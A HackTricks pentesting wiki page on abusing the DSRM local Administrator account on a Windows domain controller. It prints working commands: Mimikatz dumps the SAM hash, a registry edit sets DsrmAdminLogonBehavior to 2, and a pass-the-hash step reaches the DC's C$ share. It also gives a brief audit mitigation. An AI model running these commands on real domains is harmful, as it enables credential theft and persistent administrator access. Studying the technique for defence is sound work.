 HackTricks

HackTricks ▾

WINDOWS HARDENING

Constrained Delegation

Custom SSP

DCShadow

DCSync

Diamond Ticket

DSRM Credentials

External Forest Domain - OneWay (Inbound) or bidirectional

External Forest Domain - One-Way (Outbound)

Golden Ticket

Kerberoast

Kerberos Authentication

Kerberos Double Hop Problem

LAPS

MSSQL AD Abuse

Over Pass the Hash/Pass the Key

Pass the Ticket

Password Spraying / Brute Force

PrintNightmare

Force NTLM

Privileged Authentication

Privileged Groups

RDP Sessions Abuse

Resource-based Constrained Delegation

Security Descriptors

SID-History Injection

Silver Ticket

Skeleton Key

Unconstrained Delegation

Windows Security Controls

NTLM

Lateral Movement

Pivoting to the Cloud

Stealing Windows Credentials

Basic Win CMD for Pentesters

Basic PowerShell for Pentesters



Antivirus (AV) Bypass



MOBILE PENTESTING

Powered by GitBook

# DSRM Credentials

✔

Learn & practice AWS Hacking:  [HackTricks Training AWS Red Team Expert \(ARTE\)](#) 

Learn & practice GCP Hacking:  [HackTricks Training GCP Red Team Expert \(GRTE\)](#) 

> Support HackTricks

## DSRM Credentials

There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.

First we need to **dump** the **hash** of the **local Administrator** user inside the DC:

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam" '
```

Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to **set it to "2"**:

```
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior  
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

Then, using a PTH you can **list the content of C\$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory (for the PTH) **the "domain" used is just the name of the DC machine**:



```
sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c...  
#And in new spawned powershell you now can access via NTLM the content of  
ls \\dc-host-name\C$
```



More info about this in: <https://adsecurity.org/?p=1714> and <https://adsecurity.org/?p=1785>

## Mitigation

- Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`

✔

Learn & practice AWS Hacking:  [HackTricks Training AWS Red Team Expert \(ARTE\)](#) 

Learn & practice GCP Hacking:  [HackTricks Training GCP Red Team Expert \(GRTE\)](#) 

> Support HackTricks

This site uses cookies to deliver its service and to analyse traffic. By browsing this site, you accept the [privacy policy](#).

AcceptReject

<

Previous  
Diamond Ticket

Next

External Forest Domain -  
OneWay (Inbound) or...

>

Last updated 3 months ago



This site uses cookies to deliver its service and to analyse traffic. By browsing this site, you accept the [privacy policy](#).

×